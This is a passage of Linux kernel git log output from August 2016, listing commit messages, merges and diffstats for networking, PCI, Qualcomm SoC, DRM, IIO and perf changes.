set in a channel to the current call's ID, no more packets will be routed to that rxrpc_call struct. ==================== Signed-off-by: David S. Miller commit 3a69101595f52ad45ead0f8adf6937f6ce2e7d5a Merge: b3dc935 df844fd Author: David S. Miller Date: Tue Aug 23 17:19:59 2016 -0700 Merge tag 'rxrpc-rewrite-20160823-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Cleanups Here are some cleanups for the AF_RXRPC rewrite: (1) Remove some unused bits. (2) Call releasing on socket closure is now done in the order in which calls progress through the phases so that we don't miss a call actively moving list. (3) The rxrpc_call struct's channel number field is redundant and replaced with accesses to the masked off cid field instead. (4) Use a tracepoint for socket buffer accounting rather than printks. Unfortunately, since this would require currently non-existend arch-specific help to divine the current instruction location, the accounting functions are moved out of line so that __builtin_return_address() can be used. ==================== Signed-off-by: David S. Miller commit b3dc93501e34b6e35245ba06fd0a7bfc7df88f0d Author: Wei Yongjun Date: Tue Aug 23 15:11:03 2016 +0000 net: hns: remove redundant dev_err call in hns_dsaf_get_cfg() There is a error message within devm_ioremap_resource already, so remove the dev_err call to avoid redundant error message. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit a26c76798e602fda301a997ec1ded3815b2e0e77 Author: Wei Yongjun Date: Tue Aug 23 15:09:49 2016 +0000 cxgb4: Remove unused including Remove including that don't need it. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 1 - 1 file changed, 1 deletion(-) commit 2698f85e88244e1bce5c019e166e5c33aff2b6e5 Author: Wei Yongjun Date: Tue Aug 23 15:06:05 2016 +0000 net: phy: xgmiitorgmii: Fix non static symbol warning Fixes the following sparse warning: drivers/net/phy/xilinx_gmii2rgmii.c:61:5: warning: symbol 'xgmiitorgmii_probe' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/phy/xilinx_gmii2rgmii.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a4d7e86acf3be8c0c911a552f903a10d0eea814 Author: Sudarsana Reddy Kalluru Date: Tue Aug 23 10:56:55 2016 -0400 qede: Add support for Tx/Rx-only queues. Add provision for configuring the fastpath queues with Tx (or Rx) only functionality. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede.h | 30 ++- drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 105 ++++++-- drivers/net/ethernet/qlogic/qede/qede_main.c | 319 +++++++++++++++--------- 3 files changed, 297 insertions(+), 157 deletions(-) commit f8edcd127b5fa2a82bec22b204b434dc363011b2 Author: Phil Sutter Date: Tue Aug 23 13:14:31 2016 +0200 net: rtnetlink: Don't export empty RTAX_FEATURES Since the features bit field has bits for internal only use as well, it may happen that the kernel exports RTAX_FEATURES attribute with zero value which is pointless. Fix this by making sure the attribute is added only if the exported value is non-zero. Signed-off-by: Phil Sutter Signed-off-by: David S. Miller net/core/rtnetlink.c | 2 ++ 1 file changed, 2 insertions(+) commit e7b48a32dc5db48ca14e6472b920102c7e53f5aa Author: Hariprasad Shenai Date: Tue Aug 23 11:35:32 2016 +0530 cxgb4: Fix issue while re-registering VF mgmt netdev When we disable SRIOV, we used to unregister the netdev but wasn't freed. But next time when the same netdev is registered, since the state was in 'NETREG_UNREGISTERED', we used to hit BUG_ON in register_netdevice, where it expects the state to be 'NETREG_UNINITIALIZED'. Alloc netdev and register them while configuring SRIOV, and free them when SRIOV is disabled. Also added a new function to setup ethernet properties instead of using ether_setup. Set carrier off by default, since we don't have to do any transmit on the interface. Fixes: 7829451c695e ("cxgb4: Add control net_device for configuring PCIe VF") Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 1 + drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 97 +++++++++++++++++-------- 2 files changed, 67 insertions(+), 31 deletions(-) commit cebc5cbab48f5c58512e26aa1965284354227258 Author: Yuchung Cheng Date: Mon Aug 22 17:17:54 2016 -0700 net-tcp: retire TFO_SERVER_WO_SOCKOPT2 config TFO_SERVER_WO_SOCKOPT2 was intended for debugging purposes during Fast Open development. Remove this config option and also update/clean-up the documentation of the Fast Open sysctl. Reported-by: Piotr Jurkiewicz Signed-off-by: Yuchung Cheng Signed-off-by: Eric Dumazet Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller Documentation/networking/ip-sysctl.txt | 45 +++++++++++++++++----------------- include/net/tcp.h | 3 +-- net/ipv4/af_inet.c | 21 ++++++---------- 3 files changed, 32 insertions(+), 37 deletions(-) commit 1345b1ac57a1b85d73912bd13c2bad5f9f26df91 Author: Wei Yongjun Date: Mon Aug 22 23:01:29 2016 +0000 xen-netback: using kfree_rcu() to simplify the code The callback function of call_rcu() just calls a kfree(), so we can use kfree_rcu() instead of call_rcu() + callback function. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/xen-netback/hash.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit c41419b091f371d846bc5292c9138a78b7e378fe Author: Nicholas Mc Guire Date: Mon Aug 22 17:52:00 2016 +0200 liquidio: declare liquidio_set_rxcsum_command static liquidio_set_rxcsum_command is a local function only, no need to expose it outside of lio_main.c so declare it static and make sparse happy. Signed-off-by: Nicholas Mc Guire Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 54c151d9ed1321e6e623c80ffe42cd2eb1571744 Author: Gao Feng Date: Mon Aug 22 22:50:02 2016 +0800 l2tp: Refactor the codes with existing macros instead of literal number Use PPP_ALLSTATIONS, PPP_UI, and SEND_SHUTDOWN instead of 0xff, 0x03, and 2 separately. Signed-off-by: Gao Feng Acked-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ppp.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit c74db31f796d283770ff3c150d73101b38037da4 Merge: 3c90a94 1616b38 Author: David S. Miller Date: Tue Aug 23 16:23:13 2016 -0700 Merge branch 'strp-kcm-fixes' Tom Herbert says: ==================== strp: Minor fixes to strparser and kcm Fix locking issue in kcm and losing events when paused. ==================== Signed-off-by: David S. Miller commit 1616b38f201945f5fc88aa09b525e3625777aa7c Author: Tom Herbert Date: Tue Aug 23 11:55:31 2016 -0700 kcm: Fix locking issue Lock the lower socket in kcm_unattach. Release during call to strp_done since that function cancels the RX timers and work queue with sync. Also added some status information in psock reporting. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller net/kcm/kcmproc.c | 20 +++++++++++++++----- net/kcm/kcmsock.c | 13 ++++++++----- 2 files changed, 23 insertions(+), 10 deletions(-) commit cff6a334e63420e95ec40dc7fcdc0b8258615760 Author: Tom Herbert Date: Tue Aug 23 11:55:30 2016 -0700 strparser: Queue work when being unpaused When the upper layer unpauses a stream parser connection we need to queue rx_work to make sure no events are missed. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/net/strparser.h | 5 +---- net/strparser/strparser.c | 11 +++++++++++ 2 files changed, 12 insertions(+), 4 deletions(-) commit 639c5323257f940a8627e86c982f6b93e9e2615c Author: Wei Yongjun Date: Thu Jul 28 16:14:54 2016 +0000 PCI: designware: Remove redundant platform_get_resource() return value check devm_ioremap_resource() fails gracefully when given a NULL resource pointer, so we don't need to check separately for failure from platform_get_resource_byname(). Remove the redundant check. [bhelgaas: changelog] Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 3 --- 1 file changed, 3 deletions(-) commit 68a0bfec72cb4f117198ae31df114dad4c5e405d Author: Dong Bo Date: Mon Jul 4 21:44:43 2016 +0530 PCI: designware: Exchange viewport of `MEMORYs' and `CFGs/IOs' When we have only two view ports in a DesignWare PCIe platform, iatu0 is used for both CFG and IO accesses. When CFGs are sent to peripherals (e.g., lspci), iatu0 frequently switches between CFG and IO. For such scenarios, a MEMORY might be sent as an IOs by mistake. Considering the following configurations: MEMORY -> BASE_ADDR: 0xb4100000, LIMIT: 0xb4100FFF, TYPE=mem CFG -> BASE_ADDR: 0xb4000000, LIMIT: 0xb4000FFF, TYPE=cfg IO -> BASE_ADDR: 0xFFFFFFFF, LIMIT: 0xFFFFFFFE, TYPE=io Suppose PCIe has just completed a CFG access. To switch back to IO, it sets the BASE_ADDR to 0xFFFFFFFF, LIMIT 0xFFFFFFFE and TYPE to IO. When another CFG comes, the BASE_ADDR is set to 0xb4000000 to switch to CFG. At this moment, a MEMORY access shows up, since it matches with iatu0 (due to 0xb4000000 <= MEMORY BASE_ADDR <= MEMORY LIMIT <= 0xFFFFFFF), it is treated as an IO access by mistake, then sent to perpheral. This patch fixes the problem by exchanging the assignments of `MEMORYs' and `CFGs/IOs', which assigning MEMORYs to iatu0, CFGs and IOs to iatu1. We can still have issues with IO transfer, however memory transfer is used predominantly therefore we are just minimizing the risk of failure. Actually, we can not do much when we have only two viewports. We can either not allow the less frequent IO transfers at all, or can live with a remote possibility of getting it corrupted. Signed-off-by: Dong Bo [pratyush.anand@gmail.com: Modified commit log to capture remote risk] Signed-off-by: Pratyush Anand Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d5bd1eba19230347acfc4960581a15bfb459a615 Merge: 1d9e3a0 87557ad Author: Greg Kroah-Hartman Date: Tue Aug 23 17:50:16 2016 -0400 Merge tag 'iio-for-4.9a' of git://git.kernel.org/pub/scm/linux/kernel/git/jic23/iio into work-testing Jonathan writes: First round of new features, device support and cleanups for IIO in the 4.9 cycle. Device support * ak8974 - New driver and bindings for this 2009 vintage magnetometer (it was very popular back then!) * atlas-ph-sensor - ORP sensor support(I had to look up what one of these was) * cio-dac - New driver for Measurement Computing DAC boards * dmard06 - New driver for Domintech DMARDO6 accelerometer. Also vendor prefix. * dmard09 - New driver for Domintech DMARD09 accelerometer. * maxim-thermocouple - max6675 and max31855 new driver * mt6577 auxdac - new driver for this Mediatek chip mt2701, mt6577 and mt8173 have this hardware. * ti-adc161s626 - new driver for this TI single channel differential ADC. * vcnl4000 - support vcnl4010 and vcnl4020 which are compatible for all features currently supported by this driver. New features * Core - Allow retrieving of underlying iio_dev from a callback buffer handle. This is needed to allow client drivers to perform operations such as configuring the trigger used. * hid-sensors - asynchronous resume support to avoid really long resume times. * kxcjk-1013 - add the mysterious KIOX000A ACPI id seen in the wild. * Tools - lsiio now enumerates processed as well as raw channels. Cleanup * ad7298 - use iio_device_claim_direct_mode and friends to simplify locking around mode switching and drop some boilerplate. * ad7793 - use iio_device_claim_direct_mode and friends to simplify locking around mode switching and drop some boilerplate. * ade7854 - checkpatch fixups (alignment of parameters) * atlas-ph-sensor - use iio_device_claim_direct_mode and friends to simplify locking around mode switching and drop some boilerplate. - Switch to REGCACHE_NONE as there are no useful register to cache. * bma180 - use iio_device_claim_direct_mode and friends to simplify locking around mode switching and drop some boilerplate. * hdc100x - Add mention of the HDC1000 and HDC1008 to the Kconfig help text. * isl29018 - Add driver specific prefixes to defines and function names. - Remove excessive logging. - Drop newlines which add nothing to readability. - General tidying up of comments. - Drop I2C_CLASS_HWMON as irrelevant to driver. * isl29028 - Add driver specific prefixes to defines, enums and function names. - Drop comma's from available attribute output as not ABI compliant. - Drop I2C_CLASS_HWMON as irrelevant to driver. * kxsd9 - devicetree bindings. * mag3110 - This one wasn't locking to protect against mode switches during raw_reads. Use the iio_claim_direct_mode function to fix this buglet. * maxim-theromcouple - Fix missing selects for triggered buffer support in Kconfig. * nau7802 - Use complete instead of complete_all as only one completion at a time. * sx9500 - Use complete instead of complete_all as only one completion at a time. * us5182d - Add a missing error code asignment instead of checking the result of an already checked statement. * vcnl4000 - Use BIT macro where appropriate. - Refactor return codes in read_raw callback. - Add some missing locking for concurrent accesses to the device. commit 0d42204f374380b6334de7dd2fe7e7d795250290 Author: Daniel Vetter Date: Tue Aug 23 14:54:48 2016 +0200 drm/doc: Document uapi requirements in DRM Everyone knows them, except all the new folks joining from the ARM side haven't lived through all the pain of the past years and are entirely surprised when I raise this. Definitely time to document this. Last time this was a big discussion was about 6 years ago, when qcom tried to land a kernel driver without userspace. Dave Airlie made the rules really clear: http://airlied.livejournal.com/73115.html This write-up here is essentially what I've put into a presentation a while ago, which was also reviewed by Dave: http://blog.ffwll.ch/2015/05/gfx-kernel-upstreaming-requirements.html v2: Fix typos Eric&Rob spotted. v3: Nitpick from Jani. Cc: Dave Airlie Cc: Oded Gabbay Cc: Russell King Cc: Tomi Valkeinen Cc: Eric Anholt Cc: Thomas Hellstrom Cc: Sinclair Yeh Cc: Lucas Stach Cc: Benjamin Gaignard Cc: Mark Yao Cc: Laurent Pinchart Cc: Ben Skeggs Cc: Rob Clark Cc: CK Hu Cc: Xinliang Liu Cc: Philipp Zabel Cc: Stefan Agner Cc: Inki Dae Cc: Maxime Ripard Cc: Boris Brezillon Cc: Jani Nikula Cc: Daniel Vetter Cc: Thierry Reding Cc: Christian König Cc: Alex Deucher Cc: Gerd Hoffmann Cc: Brian Starkey Cc: Liviu Dudau Cc: Alexey Brodkin Acked-by: Dave Airlie Reviewed-by: Rob Clark Reviewed-by: Christian König Reviewed-by: Eric Anholt Reviewed-by: Jani Nikula Signed-off-by: Daniel Vetter Signed-off-by: Dave Airlie Documentation/gpu/drm-uapi.rst | 67 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) commit d804819605b461280ca176d982ee3204721c698b Merge: fc93ff6 28579f3 Author: Dave Airlie Date: Wed Aug 24 07:11:48 2016 +1000 Merge tag 'topic/drm-misc-2016-08-23' of git://anongit.freedesktop.org/drm-intel into drm-next A few bigger things: - start of splitting drm_crtc.c into more manageable and better documneted chunks - DRM_DEV_* logging (Sean) * tag 'topic/drm-misc-2016-08-23' of git://anongit.freedesktop.org/drm-intel: (46 commits) drm/fb-helper: Make docs for fb_set_suspend wrappers consistent drm/rockchip: Delete unnecessary assignment for the field "owner" drm/bridge: dw-hdmi: Delete unnecessary assignment for the field "owner" drm/rockchip: Don't continue trying to enable crtc on failure drm/fb-helper: Add drm_fb_helper_set_suspend_unlocked() drm/fb-helper: Fix the dummy remove_conflicting_framebuffers drm/udl: Ensure channel is selected before using the device. drm: Avoid calling dev_printk(.dev = NULL) drm: avoid exposing kernel stack in compat_drm_getstats reservation: fix small comment typo drm: Don't implement empty prepare_fb()/cleanup_fb() virtio-gpu: Use memdup_user() rather than duplicating its implementation GPU-DRM-Savage: Use memdup_user() rather than duplicating drm: Allow drivers to modify plane_state in prepare_fb/cleanup_fb drm/rockchip: Use DRM_DEV_ERROR in vop drm: Introduce DRM_DEV_* log messages drm/edid: CEA mode 64 1080p100 vsync pulse width incorrect Revert "drm/hisilicon: Don't set drm_device->platformdev" dma-buf: fix kernel-doc warning and typos drm: Fix kerneldoc in drm_plane_helper.c ... commit da0573026c2d3d445c39385024bfc3ce6beebe09 Author: Bjorn Andersson Date: Mon Aug 15 11:15:57 2016 -0700 soc: qcom: smd: Represent smd edges as devices By representing each edge as its own device the channels are no longer tied to being parented by the same smd device and as such an edge can live as children of e.g. remoteproc instances. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross drivers/soc/qcom/smd.c | 197 +++++++++++++++++++++++++++---------------- include/linux/soc/qcom/smd.h | 18 ++++ 2 files changed, 140 insertions(+), 75 deletions(-) commit 381a0b4ce45b2ad809b79049e6316a83d5eaa2ea Author: Bjorn Andersson Date: Tue Aug 9 17:42:55 2016 -0700 soc: qcom: smd: Request irqs after parsing properties The code exectued by the interrupt handler depends on the values parsed after requesting the irq, just to be save we should therefor move the request_irq() call to be done after parsing the properties. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross drivers/soc/qcom/smd.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 0a0c08cae01b33b29abd24608d3800986546f0af Author: Bjorn Andersson Date: Tue Aug 9 17:39:19 2016 -0700 soc: qcom: smd: Simplify multi channel handling Multi-channel clients split between several drivers need a way to close individual channels, as these drivers might be removed individually. With this in place the responsibility of closing additionally opened channels to the client as well only concerning smd about the primary channel. With this approach we will only trigger removal of SMD devices based on the state of the primary channel, however we get in sync with how rpmsg works. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross drivers/soc/qcom/smd.c | 34 ++++++++++++++++------------------ include/linux/soc/qcom/smd.h | 7 +++++++ 2 files changed, 23 insertions(+), 18 deletions(-) commit 3a1281848830fcb3202cfd7ffe62d19641471d05 Author: Bjorn Andersson Date: Tue Aug 9 17:36:02 2016 -0700 soc: qcom: smd: Correct compile stub prototypes The prototypes for the compile stubs was not properly marked as static inline, this patch corrects this. Fixes: f79a917e69e1 ("Merge tag 'qcom-soc-for-4.7-2' into net-next") Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross include/linux/soc/qcom/smd.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dea8524218099ff73ffd1ebd08d97ce6a45b7e0e Author: Paul Gortmaker Date: Mon Jul 4 11:01:56 2016 -0400 firmware: qcom_scm: make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/firmware/Kconfig:config QCOM_SCM drivers/firmware/Kconfig: bool ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since module_init was not in use by this code, the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Cc: Andy Gross Cc: David Brown Cc: linux-arm-msm@vger.kernel.org Cc: linux-soc@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Andy Gross drivers/firmware/qcom_scm.c | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) commit 951a5af92276f5b2f1b8834bd5eef96d8788f66b Author: Stephen Boyd Date: Fri Jul 1 14:18:59 2016 -0700 soc: qcom: smem: Silence probe defer error If we fail to get the hwspinlock due to probe defer, we shouldn't print an error message. Just be silent in this case. Cc: Bjorn Andersson Signed-off-by: Stephen Boyd Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross drivers/soc/qcom/smem.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 80483c3abf8423e6ec4fb63647a8e2e1f5976801 Author: Andy Gross Date: Tue Aug 16 23:21:58 2016 -0500 ARM: qcom: Cleanup/Remove unnecessary board file This patch removes the unnecessary board file. The generic machine definition is sufficient for the Qualcomm platforms. Signed-off-by: Andy Gross Reviewed-by: Stephen Boyd arch/arm/mach-qcom/Makefile | 1 - arch/arm/mach-qcom/board.c | 31 ------------------------------- 2 files changed, 32 deletions(-) commit caf5548caaece50b552117d30e33a13f51f425d1 Author: Paul Gortmaker Date: Mon Aug 22 17:59:47 2016 -0400 PCI: exynos: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCI_EXYNOS drivers/pci/host/Kconfig: bool "Samsung Exynos PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas Acked-by: Krzysztof Kozlowski CC: Jingoo Han CC: Kukjin Kim drivers/pci/host/pci-exynos.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit e41faf0779193c477089db6486a2f42650c34f0e Author: Paul Gortmaker Date: Mon Aug 22 17:59:46 2016 -0400 PCI: designware: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_DW drivers/pci/host/Kconfig: bool Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Jingoo Han CC: Pratyush Anand drivers/pci/host/pcie-designware.c | 5 ----- 1 file changed, 5 deletions(-) commit 56540c77c50bcd93fe2ffa7eb92316bd41eea745 Author: Paul Gortmaker Date: Mon Aug 22 17:59:45 2016 -0400 PCI: spear: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_SPEAR13XX drivers/pci/host/Kconfig: bool "STMicroelectronics SPEAr PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and module_init() translates to device_initcall(). [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Pratyush Anand drivers/pci/host/pcie-spear13xx.c | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) commit d11a544e3a1e579a218eda5ee5cf9f65e3289e84 Author: Christopher Covington Date: Fri Jul 1 10:27:17 2016 -0400 arm64: defconfig: Enable QDF2432 config options Now that ACPI is on in the defconfig, the time seems right to enable drivers for the SD/MMC, DMA, and pin control hardware described in the ACPI tables of the QDF2432 server platform. Signed-off-by: Christopher Covington Signed-off-by: Andy Gross arch/arm64/configs/defconfig | 4 ++++ 1 file changed, 4 insertions(+) commit a7dadf45aedd414191222368a700534d2a652197 Author: Paul Gortmaker Date: Mon Aug 22 17:59:44 2016 -0400 PCI: portdrv: Make explicitly non-modular This code is not being built as a module by anyone: pcieportdrv-y := portdrv_core.o portdrv_pci.o portdrv_bus.o obj-$(CONFIG_PCIEPORTBUS) += pcieportdrv.o drivers/pci/pcie/Kconfig:config PCIEPORTBUS drivers/pci/pcie/Kconfig: bool "PCI Express Port Bus support" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and module_init() translates to device_initcall(). [bhelgaas: changelog, remove unused DRIVER_* macros] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Tom Long Nguyen drivers/pci/pcie/portdrv_pci.c | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) commit f90d8e84c3f41ee424b4438f61c5ae12cfdbc7d8 Author: Paul Gortmaker Date: Mon Aug 22 17:59:43 2016 -0400 PCI: imx6: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCI_IMX6 drivers/pci/host/Kconfig: bool "Freescale i.MX6 PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and module_init() translates to device_initcall(). [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Richard Zhu CC: Lucas Stach drivers/pci/host/pci-imx6.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit bb9b54ca3761111eb67401c0cea891586c24107d Author: Paul Gortmaker Date: Mon Aug 22 17:59:42 2016 -0400 PCI: altera: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_ALTERA drivers/pci/host/Kconfig: bool "Altera PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and module_init() translates to device_initcall(). [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Ley Foon Tan drivers/pci/host/pcie-altera.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 18224b3a732156d68d4ce5a74aa9148d922d08eb Author: Paul Gortmaker Date: Mon Aug 22 17:59:41 2016 -0400 PCI: altera: Make MSI explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_ALTERA_MSI drivers/pci/host/Kconfig: bool "Altera PCIe MSI feature" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Ley Foon Tan drivers/pci/host/pcie-altera-msi.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 5e30d55c71de058e4156080fe32d426c22d094cb Author: Colin Ian King Date: Mon Aug 22 19:30:08 2016 +0100 perf record: Fix spelling mistake "Finshed" -> "Finished" Trivial fix to spelling mistake in pr_debug message. Signed-off-by: Colin King Cc: Alexander Shishkin Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160822183008.26368-1-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-record.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c77ce225d5ed1c5bfd4c6d58d3333d859ae49fd7 Author: Colin Ian King Date: Sun Aug 21 15:19:24 2016 +0100 perf bpf: Fix typo: "ehough" -> "enough" Trivial typo fix in pr_debug message Signed-off-by: Colin King Cc: Alexander Shishkin Cc: Alexei Starovoitov Cc: He Kuang Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/20160821141924.8056-1-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/bpf-loader.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 17d4666f0613dfd1e2a3919d9b4c724acba8f8b1 Author: Colin Ian King Date: Sun Aug 21 15:16:03 2016 +0100 perf test bpf: Fix typo: "ehough" -> "enough" Trivial typo fix in pr_debug message Signed-off-by: Colin King Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/20160821141603.7832-1-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/bpf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dd6fa4e197f0123bcd751e47c171121b2451f148 Author: Colin Ian King Date: Sun Aug 21 15:12:56 2016 +0100 perf tools: Fix typo: "ehough" -> "enough" Trivial typo fix in pr_debug message Signed-off-by: Colin King Cc: Alexander Shishkin Cc: He Kuang Cc: Jiri Olsa Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/20160821141256.7530-1-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/backward-ring-buffer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bdca79c2bf40556b664c9b1c32aec103e9bdb4a9 Author: Masami Hiramatsu Date: Thu Aug 18 17:59:21 2016 +0900 ftrace: kprobe: uprobe: Show u8/u16/u32/u64 types in decimal Change kprobe/uprobe-tracer to show the arguments type-casted with u8/u16/u32/u64 in decimal digits instead of hexadecimal. To minimize compatibility issue, the arguments without type casting are typed by x64 (or x32 for 32bit arch) by default. Note: all arguments set by old perf probe without types are shown in decimal by default. Signed-off-by: Masami Hiramatsu Acked-by: Steven Rostedt Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/147151076135.12957.14684546093034343894.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo Documentation/trace/kprobetrace.txt | 5 ++++- Documentation/trace/uprobetracer.txt | 5 ++++- kernel/trace/trace_probe.c | 8 ++++---- kernel/trace/trace_probe.h | 2 +- tools/perf/Documentation/perf-probe.txt | 5 ++--- 5 files changed, 15 insertions(+), 10 deletions(-) commit 9880ce4a69ba5c66a5ffdd711fe446bd0226bd8c Author: Masami Hiramatsu Date: Thu Aug 18 17:59:07 2016 +0900 perf probe: Use hexadecimal type by default if possible Use hexadecimal type by default if it is available on current running kernel. This keeps the default behavior of perf probe after changing the output format of 'u8/16/32/64' to unsigned decimal number. Signed-off-by: Masami Hiramatsu Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/r/147151074685.12957.16415861010796255514.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-finder.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 925437872525ee229736a9a8bdf804fc98f75b44 Author: Masami Hiramatsu Date: Thu Aug 18 17:58:47 2016 +0900 perf probe: Support hexadecimal casting Support hexadecimal unsigned integer casting by 'x'. This allows user to explicitly specify the output format of the probe arguments as hexadecimal. Signed-off-by: Masami Hiramatsu Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naohiro Aota Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/r/147151072679.12957.4458656416765710753.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-probe.txt | 4 ++-- tools/perf/util/probe-finder.c | 17 ++++++++++------- 2 files changed, 12 insertions(+), 9 deletions(-) commit 180b20616ce57e93eb692170c793be94c456b1e2 Author: Masami Hiramatsu Date: Thu Aug 18 17:58:31 2016 +0900 perf 